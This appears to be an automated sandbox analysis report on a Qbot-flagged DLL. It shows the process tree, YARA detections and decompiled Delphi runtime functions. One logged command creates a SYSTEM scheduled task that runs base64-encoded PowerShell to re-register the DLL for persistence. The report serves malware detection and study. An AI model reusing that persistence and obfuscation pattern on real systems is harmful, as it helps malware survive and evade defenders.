comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls

Possible Origin

Language of compilation system	Country where language is spoken	Map
French	Cote dIvoire
English	United States
Chinese	China

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 2412, Parent PID: 6048

General

Target ID:	0
Start time:	17:55:13
Start date:	23/06/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\C.dll"
Imagebase:	0x140000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: 00000000.00000002.290253396.0000000002750000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000000.00000002.290253396.0000000002750000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000000.00000002.290425745.00000000027A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000000.00000002.290335602.0000000002780000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 1212, Parent PID: 2412

General

Target ID:	1
Start time:	17:55:13
Start date:	23/06/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\C.dll",#1
Imagebase:	0x1190000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5620, Parent PID: 1212

General

Target ID:	2
Start time:	17:55:14
Start date:	23/06/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\C.dll",#1
Imagebase:	0x1120000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000002.00000002.323381928.00000000010A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: 00000002.00000000.281557672.0000000001070000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000002.00000000.281557672.0000000001070000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: 00000002.00000000.283835804.0000000001070000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000002.00000000.283835804.0000000001070000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000002.00000002.323413560.00000000010C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000002.00000000.283947623.00000000010C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000002.00000000.281698290.00000000010C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000002.00000000.281670705.00000000010A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: 00000002.00000002.323357187.0000000001070000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000002.00000002.323357187.0000000001070000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000002.00000000.283887210.00000000010A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 812, Parent PID: 2412

General

Target ID:	4
Start time:	17:55:33
Start date:	23/06/2022
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x2d0000
File size:	3611360 bytes
MD5 hash:	166AB1B9462E5C1D6D18EC5EC0B6A5F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000004.00000002.765540679.0000000003230000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000004.00000000.288483062.0000000003230000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 1888, Parent PID: 5620

General

Target ID:	5
Start time:	17:55:33
Start date:	23/06/2022
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:
File size:	3611360 bytes
MD5 hash:	166AB1B9462E5C1D6D18EC5EC0B6A5F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 3032, Parent PID: 5620

General

Target ID:	6
Start time:	17:55:33
Start date:	23/06/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5620 -s 752
Imagebase:	0x940000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 6468, Parent PID: 812

General

Target ID:	19
Start time:	17:55:52
Start date:	23/06/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 17:57 /tn qsrshyj /ET 18:08 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=" /SC ONCE
Imagebase:	0xa70000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6480, Parent PID: 6468

General

Target ID:	20
Start time:	17:55:53
Start date:	23/06/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 6532, Parent PID: 960

General

Target ID:	21
Start time:	17:55:54
Start date:	23/06/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=
Imagebase:	0x7ff6ba650000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6540, Parent PID: 6532

General

Target ID:	22
Start time:	17:55:54
Start date:	23/06/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 6664, Parent PID: 6532

General

Target ID:	23
Start time:	17:55:59
Start date:	23/06/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\regsvr32.exe" C:\Users\user\Desktop\C.dll
Imagebase:	0x7ff68a4e0000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 6676, Parent PID: 6664

General

Target ID:	24
Start time:	17:56:00
Start date:	23/06/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\C.dll
Imagebase:	0xcc0000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000018.00000002.393963522.0000000003B10000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000018.00000002.393925531.0000000003AF0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: 00000018.00000002.393905257.0000000003AC0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000018.00000002.393905257.0000000003AC0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 6812, Parent PID: 6676

General

Target ID:	25
Start time:	17:56:19
Start date:	23/06/2022
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x2d0000
File size:	3611360 bytes
MD5 hash:	166AB1B9462E5C1D6D18EC5EC0B6A5F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000019.00000002.765579370.0000000002FB0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000019.00000000.390120530.0000000002FB0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7032, Parent PID: 6812

General

Target ID:	27
Start time:	17:56:25
Start date:	23/06/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 3732, Parent PID: 960

General

Target ID:	35
Start time:	17:57:00
Start date:	23/06/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=
Imagebase:	0x7ff6ba650000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6124, Parent PID: 3732

General

Target ID:	36
Start time:	17:57:00
Start date:	23/06/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 6404, Parent PID: 3732

General

Target ID:	37
Start time:	17:57:02
Start date:	23/06/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\regsvr32.exe" C:\Users\user\Desktop\C.dll
Imagebase:	0x7ff68a4e0000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 6408, Parent PID: 6404

General

Target ID:	38
Start time:	17:57:03
Start date:	23/06/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\C.dll
Imagebase:	0xcc0000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: loaddll32.exePID: 2412, Parent PID: 6048COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	50

Executed Functions

Function 00B15BF4 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00B15BF4(intOrPtr __eax) {
				intOrPtr _v8;
				void* _v12;
				char _v15;
				char _v17;
				char _v18;
				char _v22;
				int _v28;
				char _v289;
				long _t44;
				long _t61;
				long _t63;
				CHAR* _t70;
				CHAR* _t72;
				struct HINSTANCE__* _t78;
				struct HINSTANCE__* _t84;
				char* _t94;
				void* _t95;
				intOrPtr _t99;
				struct HINSTANCE__* _t107;
				void* _t110;
				void* _t112;
				intOrPtr _t113;

				_t110 = _t112;
				_t113 = _t112 + 0xfffffee0;
				_v8 = __eax;
				GetModuleFileNameA(0,  &_v289, 0x105);
				_v22 = 0;
				_t44 = RegOpenKeyExA(0x80000001, "Software\\Borland\\Locales", 0, 0xf0019,  &_v12); // executed
				if(_t44 == 0) {
					L3:
					_push(_t110);
					_push(0xb15cf9);
					_push( *[fs:eax]);
					 *[fs:eax] = _t113;
					_v28 = 5;
					E00B15A3C( &_v289, 0x105);
					if(RegQueryValueExA(_v12,  &_v289, 0, 0,  &_v22,  &_v28) != 0 && RegQueryValueExA(_v12, E00B15E60, 0, 0,  &_v22,  &_v28) != 0) {
						_v22 = 0;
					}
					_v18 = 0;
					_pop(_t99);
					 *[fs:eax] = _t99;
					_push(E00B15D00);
					return RegCloseKey(_v12);
				} else {
					_t61 = RegOpenKeyExA(0x80000002, "Software\\Borland\\Locales", 0, 0xf0019,  &_v12); // executed
					if(_t61 == 0) {
						goto L3;
					} else {
						_t63 = RegOpenKeyExA(0x80000001, "Software\\Borland\\Delphi\\Locales", 0, 0xf0019,  &_v12); // executed
						if(_t63 != 0) {
							_push(0x105);
							_push(_v8);
							_push( &_v289);
							L00B114A4();
							GetLocaleInfoA(GetThreadLocale(), 3,  &_v17, 5); // executed
							_t107 = 0;
							if(_v289 != 0 && (_v17 != 0 || _v22 != 0)) {
								_t70 =  &_v289;
								_push(_t70);
								L00B114AC();
								_t94 = _t70 +  &_v289;
								L12:
								if( *_t94 != 0x2e && _t94 !=  &_v289) {
									_t94 = _t94 - 1;
									goto L12;
								}
								_t72 =  &_v289;
								if(_t94 != _t72) {
									_t95 = _t94 + 1;
									if(_v22 != 0) {
										_push(0x105 - _t95 - _t72);
										_push( &_v22);
										_push(_t95);
										L00B114A4();
										_t107 = LoadLibraryExA( &_v289, 0, 2);
									}
									if(_t107 == 0 && _v17 != 0) {
										_push(0x105 - _t95 -  &_v289);
										_push( &_v17);
										_push(_t95);
										L00B114A4();
										_t78 = LoadLibraryExA( &_v289, 0, 2); // executed
										_t107 = _t78;
										if(_t107 == 0) {
											_v15 = 0;
											_push(0x105 - _t95 -  &_v289);
											_push( &_v17);
											_push(_t95);
											L00B114A4();
											_t84 = LoadLibraryExA( &_v289, 0, 2); // executed
											_t107 = _t84;
										}
									}
								}
							}
							return _t107;
						} else {
							goto L3;
						}
					}
				}
			}

0x00b15bf5
0x00b15bf7
0x00b15bff
0x00b15c10
0x00b15c15
0x00b15c2e
0x00b15c35
0x00b15c77
0x00b15c79
0x00b15c7a
0x00b15c7f
0x00b15c82
0x00b15c85
0x00b15c97
0x00b15cba
0x00b15cda
0x00b15cda
0x00b15cde
0x00b15ce4
0x00b15ce7
0x00b15cea
0x00b15cf8
0x00b15c37
0x00b15c4c
0x00b15c53
0x00000000
0x00b15c55
0x00b15c6a
0x00b15c71
0x00b15d00
0x00b15d08
0x00b15d0f
0x00b15d10
0x00b15d23
0x00b15d28
0x00b15d31
0x00b15d47
0x00b15d4d
0x00b15d4e
0x00b15d5b
0x00b15d60
0x00b15d63
0x00b15d5f
0x00000000
0x00b15d5f
0x00b15d6f
0x00b15d77
0x00b15d7d
0x00b15d82
0x00b15d8f
0x00b15d93
0x00b15d94
0x00b15d95
0x00b15daa
0x00b15daa
0x00b15dae
0x00b15dc7
0x00b15dcb
0x00b15dcc
0x00b15dcd
0x00b15ddd
0x00b15de2
0x00b15de6
0x00b15de8
0x00b15dfd
0x00b15e01
0x00b15e02
0x00b15e03
0x00b15e13
0x00b15e18
0x00b15e18
0x00b15de6
0x00b15dae
0x00b15d77
0x00b15e21
0x00000000
0x00000000
0x00000000
0x00b15c71
0x00b15c53

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,108B00BD,00BDC0A4), ref: 00B15C10
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,108B00BD,00BDC0A4), ref: 00B15C2E
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,108B00BD,00BDC0A4), ref: 00B15C4C
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 00B15C6A
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,00B15CF9,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00B15CB3
RegQueryValueExA.ADVAPI32(?,00B15E60,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,00B15CF9,?,80000001), ref: 00B15CD1
RegCloseKey.ADVAPI32(?,00B15D00,00000000,?,?,00000000,00B15CF9,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00B15CF3
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 00B15D10
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 00B15D1D
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 00B15D23
lstrlen.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 00B15D4E
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00B15D95
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00B15DA5
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00B15DCD
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00B15DDD
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 00B15E03
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 00B15E13

Strings

Software\Borland\Delphi\Locales, xrefs: 00B15C60
Software\Borland\Locales, xrefs: 00B15C24, 00B15C42

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 9402693aa9f423147dec32eccb8c974cdaa2e286aca0a000552e85555d07fcd7
Instruction ID: 05d8e4d36b12ae8e04813db74a33e51310ff1ee49943e8b5f318fd2678766cc9
Opcode Fuzzy Hash: 9402693aa9f423147dec32eccb8c974cdaa2e286aca0a000552e85555d07fcd7
Instruction Fuzzy Hash: A8512371E4061DBAEB21DAA8DC46FEF76ECDB44744F8444E1B704E6182D6B49A848FA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B15D00 Relevance: 15.1, APIs: 10, Instructions: 98
stringlibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00B15D00() {
				void* _t28;
				void* _t30;
				struct HINSTANCE__* _t36;
				struct HINSTANCE__* _t42;
				char* _t51;
				void* _t52;
				struct HINSTANCE__* _t59;
				void* _t61;

				_push(0x105);
				_push( *((intOrPtr*)(_t61 - 4)));
				_push(_t61 - 0x11d);
				L00B114A4();
				GetLocaleInfoA(GetThreadLocale(), 3, _t61 - 0xd, 5); // executed
				_t59 = 0;
				if( *(_t61 - 0x11d) == 0 ||  *(_t61 - 0xd) == 0 &&  *((char*)(_t61 - 0x12)) == 0) {
					L14:
					return _t59;
				} else {
					_t28 = _t61 - 0x11d;
					_push(_t28);
					L00B114AC();
					_t51 = _t28 + _t61 - 0x11d;
					L5:
					if( *_t51 != 0x2e && _t51 != _t61 - 0x11d) {
						_t51 = _t51 - 1;
						goto L5;
					}
					_t30 = _t61 - 0x11d;
					if(_t51 != _t30) {
						_t52 = _t51 + 1;
						if( *((char*)(_t61 - 0x12)) != 0) {
							_push(0x105 - _t52 - _t30);
							_push(_t61 - 0x12);
							_push(_t52);
							L00B114A4();
							_t59 = LoadLibraryExA(_t61 - 0x11d, 0, 2);
						}
						if(_t59 == 0 &&  *(_t61 - 0xd) != 0) {
							_push(0x105 - _t52 - _t61 - 0x11d);
							_push(_t61 - 0xd);
							_push(_t52);
							L00B114A4();
							_t36 = LoadLibraryExA(_t61 - 0x11d, 0, 2); // executed
							_t59 = _t36;
							if(_t59 == 0) {
								 *((char*)(_t61 - 0xb)) = 0;
								_push(0x105 - _t52 - _t61 - 0x11d);
								_push(_t61 - 0xd);
								_push(_t52);
								L00B114A4();
								_t42 = LoadLibraryExA(_t61 - 0x11d, 0, 2); // executed
								_t59 = _t42;
							}
						}
					}
					goto L14;
				}
			}

0x00b15d00
0x00b15d08
0x00b15d0f
0x00b15d10
0x00b15d23
0x00b15d28
0x00b15d31
0x00b15e1a
0x00b15e21
0x00b15d47
0x00b15d47
0x00b15d4d
0x00b15d4e
0x00b15d5b
0x00b15d60
0x00b15d63
0x00b15d5f
0x00000000
0x00b15d5f
0x00b15d6f
0x00b15d77
0x00b15d7d
0x00b15d82
0x00b15d8f
0x00b15d93
0x00b15d94
0x00b15d95
0x00b15daa
0x00b15daa
0x00b15dae
0x00b15dc7
0x00b15dcb
0x00b15dcc
0x00b15dcd
0x00b15ddd
0x00b15de2
0x00b15de6
0x00b15de8
0x00b15dfd
0x00b15e01
0x00b15e02
0x00b15e03
0x00b15e13
0x00b15e18
0x00b15e18
0x00b15de6
0x00b15dae
0x00000000
0x00b15d77

APIs

lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 00B15D10
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 00B15D1D
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 00B15D23
lstrlen.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 00B15D4E
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00B15D95
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00B15DA5
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00B15DCD
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00B15DDD
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 00B15E03
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 00B15E13

Strings

Software\Borland\Delphi\Locales, xrefs: 00B15C60
Software\Borland\Locales, xrefs: 00B15C24, 00B15C42

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: f3baee5bd0de15422c30ddad9afe84534a1bcc0a91144b9d07d6272a5e3d68ec
Instruction ID: 8456bfad43858fdd23deca786254304b08c423bce576b27ad50272a15d46f15a
Opcode Fuzzy Hash: f3baee5bd0de15422c30ddad9afe84534a1bcc0a91144b9d07d6272a5e3d68ec
Instruction Fuzzy Hash: 58318B72E0055CAAEF35D9B8DC86FEE77EC8B44740F8445E1A605E6182E6749FC48F50

Uniqueness

Uniqueness Score: -1.00%

